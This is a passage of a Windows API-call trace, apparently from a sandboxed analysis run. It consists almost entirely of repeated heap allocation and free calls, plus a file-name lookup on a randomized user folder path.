(HeapHandle=0x5c0000, Flags=0x0, Size=0x840) returned 0x30e8ae0 [0127.245] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0127.245] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30751a0 | out: hHeap=0x5c0000) returned 1 [0127.245] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x90) returned 0x30751a0 [0127.245] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x840) returned 0x30e8ae0 [0127.245] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0127.245] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30751a0 | out: hHeap=0x5c0000) returned 1 [0127.245] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x90) returned 0x30751a0 [0127.245] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x830) returned 0x30e8ae0 [0127.245] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0127.245] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30751a0 | out: hHeap=0x5c0000) returned 1 [0127.245] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x90) returned 0x30751a0 [0127.245] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x830) returned 0x30e8ae0 [0127.245] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0127.245] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30751a0 | out: hHeap=0x5c0000) returned 1 [0127.245] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x90) returned 0x30751a0 [0127.245] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x830) returned 0x30e8ae0 [0127.246] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0127.246] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30751a0 | out: hHeap=0x5c0000) returned 1 [0127.246] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x90) returned 0x30751a0 [0127.246] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x820) returned 0x30e8ae0 [0127.246] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0127.246] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30751a0 | out: hHeap=0x5c0000) returned 1 [0127.246] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x90) returned 0x30751a0 [0127.246] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x820) returned 0x30e8ae0 [0127.246] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0127.246] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30751a0 | out: hHeap=0x5c0000) returned 1 [0127.246] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x90) returned 0x30751a0 [0127.246] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x820) returned 0x30e8ae0 [0127.246] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0127.246] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30751a0 | out: hHeap=0x5c0000) returned 1 [0127.246] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x90) returned 0x30751a0 [0127.246] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x830) returned 0x30e8ae0 [0127.246] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0127.246] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30751a0 | out: hHeap=0x5c0000) returned 1 [0127.246] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x90) returned 0x30751a0 [0127.246] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x830) returned 0x30e8ae0 [0127.246] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0xc46) returned 0x30f90a8 [0127.246] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0127.246] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30f90a8 | out: hHeap=0x5c0000) returned 1 [0127.246] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30751a0 | out: hHeap=0x5c0000) returned 1 [0127.246] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x90) returned 0x30751a0 [0127.246] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x820) returned 0x30e8ae0 [0127.246] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0127.246] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30751a0 | out: hHeap=0x5c0000) returned 1 [0127.246] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x90) returned 0x30751a0 [0127.246] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x820) returned 0x30e8ae0 [0127.247] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0xc2e) returned 0x30f90a8 [0127.247] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0127.247] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30f90a8 | out: hHeap=0x5c0000) returned 1 [0127.247] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30751a0 | out: hHeap=0x5c0000) returned 1 [0127.247] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x90) returned 0x30751a0 [0127.247] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x860) returned 0x30f90a8 [0127.247] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30f90a8 | out: hHeap=0x5c0000) returned 1 [0127.247] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30751a0 | out: hHeap=0x5c0000) returned 1 [0127.247] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x90) returned 0x30751a0 [0127.247] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x860) returned 0x30f90a8 [0127.247] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30f90a8 | out: hHeap=0x5c0000) returned 1 [0127.247] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30751a0 | out: hHeap=0x5c0000) returned 1 [0127.247] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x90) returned 0x30751a0 [0127.247] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x820) returned 0x30e8ae0 [0127.247] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0127.247] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30751a0 | out: hHeap=0x5c0000) returned 1 [0127.247] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x90) returned 0x30751a0 [0127.247] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x820) returned 0x30e8ae0 [0127.247] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0127.247] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30751a0 | out: hHeap=0x5c0000) returned 1 [0127.247] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x90) returned 0x30751a0 [0127.247] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x830) returned 0x30e8ae0 [0127.247] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0xc46) returned 0x30f90a8 [0127.247] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0127.247] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30f90a8 | out: hHeap=0x5c0000) returned 1 [0127.247] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30751a0 | out: hHeap=0x5c0000) returned 1 [0127.247] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x90) returned 0x30751a0 [0127.247] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x840) returned 0x30e8ae0 [0127.247] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0127.247] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30751a0 | out: hHeap=0x5c0000) returned 1 [0127.248] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x90) returned 0x30751a0 [0127.248] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x840) returned 0x30e8ae0 [0127.248] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0127.248] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30751a0 | out: hHeap=0x5c0000) returned 1 [0127.248] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x90) returned 0x30751a0 [0127.248] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x830) returned 0x30e8ae0 [0127.248] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0127.248] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30751a0 | out: hHeap=0x5c0000) returned 1 [0127.248] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x90) returned 0x30751a0 [0127.248] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x830) returned 0x30e8ae0 [0127.248] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0127.248] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30751a0 | out: hHeap=0x5c0000) returned 1 [0127.248] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x90) returned 0x30751a0 [0127.248] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x830) returned 0x30e8ae0 [0127.248] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0127.248] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30751a0 | out: hHeap=0x5c0000) returned 1 [0127.248] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x90) returned 0x30751a0 [0127.248] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x820) returned 0x30e8ae0 [0127.248] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0127.248] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30751a0 | out: hHeap=0x5c0000) returned 1 [0127.248] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x90) returned 0x30751a0 [0127.248] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x820) returned 0x30e8ae0 [0127.248] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0127.248] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30751a0 | out: hHeap=0x5c0000) returned 1 [0127.248] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x90) returned 0x30751a0 [0127.248] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x820) returned 0x30e8ae0 [0127.248] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0127.248] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30751a0 | out: hHeap=0x5c0000) returned 1 [0127.248] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x90) returned 0x30751a0 [0127.248] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x830) returned 0x30e8ae0 [0127.249] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0127.249] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30751a0 | out: hHeap=0x5c0000) returned 1 [0127.249] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x90) returned 0x30751a0 [0127.249] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x830) returned 0x30e8ae0 [0127.249] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0xc46) returned 0x30f90a8 [0127.249] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0127.249] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30f90a8 | out: hHeap=0x5c0000) returned 1 [0127.249] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30751a0 | out: hHeap=0x5c0000) returned 1 [0127.249] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x90) returned 0x30751a0 [0127.249] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x820) returned 0x30e8ae0 [0127.249] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0127.249] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30751a0 | out: hHeap=0x5c0000) returned 1 [0127.249] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x90) returned 0x30751a0 [0127.249] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x860) returned 0x30f90a8 [0127.249] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30f90a8 | out: hHeap=0x5c0000) returned 1 [0127.249] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30751a0 | out: hHeap=0x5c0000) returned 1 [0127.249] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x90) returned 0x30751a0 [0127.249] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x860) returned 0x30f90a8 [0127.249] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30f90a8 | out: hHeap=0x5c0000) returned 1 [0127.249] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30751a0 | out: hHeap=0x5c0000) returned 1 [0127.249] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x90) returned 0x30751a0 [0127.249] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x820) returned 0x30e8ae0 [0127.249] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0127.249] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30751a0 | out: hHeap=0x5c0000) returned 1 [0127.249] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x90) returned 0x30751a0 [0127.249] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x820) returned 0x30e8ae0 [0127.249] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0127.249] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30751a0 | out: hHeap=0x5c0000) returned 1 [0127.249] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x90) returned 0x30751a0 [0127.250] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x830) returned 0x30e8ae0 [0127.250] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0xc46) returned 0x30f90a8 [0127.250] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0127.250] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30f90a8 | out: hHeap=0x5c0000) returned 1 [0127.250] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30751a0 | out: hHeap=0x5c0000) returned 1 [0127.250] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x90) returned 0x30751a0 [0127.250] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x840) returned 0x30e8ae0 [0127.250] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0127.250] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30751a0 | out: hHeap=0x5c0000) returned 1 [0127.250] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x90) returned 0x30751a0 [0127.250] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x840) returned 0x30e8ae0 [0127.250] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0127.250] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30751a0 | out: hHeap=0x5c0000) returned 1 [0127.250] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x90) returned 0x30751a0 [0127.250] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x830) returned 0x30e8ae0 [0127.250] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0127.250] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30751a0 | out: hHeap=0x5c0000) returned 1 [0127.250] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x90) returned 0x30751a0 [0127.250] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x830) returned 0x30e8ae0 [0127.250] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0127.250] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30751a0 | out: hHeap=0x5c0000) returned 1 [0127.250] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x90) returned 0x30751a0 [0127.250] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x830) returned 0x30e8ae0 [0127.250] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0127.250] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30751a0 | out: hHeap=0x5c0000) returned 1 [0127.250] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x90) returned 0x30751a0 [0127.250] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x820) returned 0x30e8ae0 [0127.250] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0127.250] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30751a0 | out: hHeap=0x5c0000) returned 1 [0127.250] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x90) returned 0x30751a0 [0127.251] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x820) returned 0x30e8ae0 [0127.251] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0127.251] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30751a0 | out: hHeap=0x5c0000) returned 1 [0127.251] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x90) returned 0x30751a0 [0127.251] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x820) returned 0x30e8ae0 [0127.251] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0127.251] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30751a0 | out: hHeap=0x5c0000) returned 1 [0127.251] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x90) returned 0x30751a0 [0127.251] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x830) returned 0x30e8ae0 [0127.251] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0127.251] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30751a0 | out: hHeap=0x5c0000) returned 1 [0127.251] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x90) returned 0x30751a0 [0127.251] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x830) returned 0x30e8ae0 [0127.251] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0xc46) returned 0x30f90a8 [0127.251] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0127.251] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30f90a8 | out: hHeap=0x5c0000) returned 1 [0127.251] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30751a0 | out: hHeap=0x5c0000) returned 1 [0127.251] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x90) returned 0x30751a0 [0127.251] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x820) returned 0x30e8ae0 [0127.251] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0127.251] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30751a0 | out: hHeap=0x5c0000) returned 1 [0127.251] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x90) returned 0x30751a0 [0127.251] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x860) returned 0x30f90a8 [0127.251] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30f90a8 | out: hHeap=0x5c0000) returned 1 [0127.251] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30751a0 | out: hHeap=0x5c0000) returned 1 [0127.251] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x90) returned 0x30751a0 [0127.251] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x860) returned 0x30f90a8 [0127.251] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30f90a8 | out: hHeap=0x5c0000) returned 1 [0127.251] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30751a0 | out: hHeap=0x5c0000) returned 1 [0127.252] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x90) returned 0x30751a0 [0127.252] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x820) returned 0x30e8ae0 [0127.252] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0127.252] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30751a0 | out: hHeap=0x5c0000) returned 1 [0127.252] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x90) returned 0x30751a0 [0127.252] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x820) returned 0x30e8ae0 [0127.252] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0127.252] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30751a0 | out: hHeap=0x5c0000) returned 1 [0127.252] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x90) returned 0x30751a0 [0127.252] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x830) returned 0x30e8ae0 [0127.252] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0xc46) returned 0x30f90a8 [0127.252] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0127.252] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30f90a8 | out: hHeap=0x5c0000) returned 1 [0127.252] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30751a0 | out: hHeap=0x5c0000) returned 1 [0127.252] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x90) returned 0x30751a0 [0127.252] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x840) returned 0x30e8ae0 [0127.252] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0127.252] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30751a0 | out: hHeap=0x5c0000) returned 1 [0127.252] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x90) returned 0x30751a0 [0127.252] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x830) returned 0x30e8ae0 [0127.252] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0127.252] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30751a0 | out: hHeap=0x5c0000) returned 1 [0127.252] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x90) returned 0x30751a0 [0127.252] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x830) returned 0x30e8ae0 [0127.252] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0127.252] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30751a0 | out: hHeap=0x5c0000) returned 1 [0127.252] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x90) returned 0x30751a0 [0127.252] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x830) returned 0x30e8ae0 [0127.252] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0127.252] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30751a0 | out: hHeap=0x5c0000) returned 1 [0127.252] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x90) returned 0x30751a0 [0127.253] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x820) returned 0x30e8ae0 [0127.253] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0127.253] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30751a0 | out: hHeap=0x5c0000) returned 1 [0127.253] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x90) returned 0x30751a0 [0127.253] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x820) returned 0x30e8ae0 [0127.253] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0127.253] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30751a0 | out: hHeap=0x5c0000) returned 1 [0127.253] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x90) returned 0x30751a0 [0127.253] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\b-b9YkzIMqBbLX\\FlfRA9\\16cC5\\") returned="16cC5\\" [0127.253] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x80) returned 0x6a07c8 [0127.253] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30751a0 | out: hHeap=0x5c0000) returned 1 [0127.253] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS 